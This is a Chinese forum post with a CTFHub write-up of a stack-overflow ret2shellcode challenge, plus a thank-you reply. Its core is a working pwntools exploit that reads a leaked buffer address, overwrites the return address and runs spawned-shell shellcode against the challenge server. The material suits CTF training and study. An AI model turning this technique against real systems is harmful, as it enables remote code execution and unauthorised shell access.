alglsf666 发表于 2025-5-23 20:31:18

【ctfhub】栈溢出ret2shellcode

题目文件(ctfhub要开环境才能下载,所以我直接发给你们研究)


checksec意思一下:)


ida,启动!


明显栈溢出(题目都叫这个名字了)
再看看栈


过程:
伪代码写了题目交互会给buf地址,先接收
buf,var_8,s全都填充就好了,
把shellcode放在这里全部变量的后面,也就是buf地址+32
返回地址r覆写成shellcode地址
结果就是跳到shellcode地址执行shellcode

实现代码

from pwn import *

# context.log_level = "debug"
context.arch = 'amd64'

# p = process("./pwn")
p = remote("challenge-a43794078f70a174.sandbox.ctfhub.com", 24635)
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15: -1], 16)
shellcode_address = buf_addr + 32 #shellcode地址=buf+var_8+s+r+返回地址
shellcode = asm(shellcraft.sh())
#payload填充buf+var_8+s,返回地址覆写为自己的下个字节也就是shellcode地址
payload = b'A'*(8*3) + p64(shellcode_address) + shellcode
p.recv()
p.sendline(payload)
p.interactive()


getshell !

H.U.C清风 发表于 2025-5-31 18:45:40

谢谢分享,已回复。
页: [1]
查看完整版本: 【ctfhub】栈溢出ret2shellcode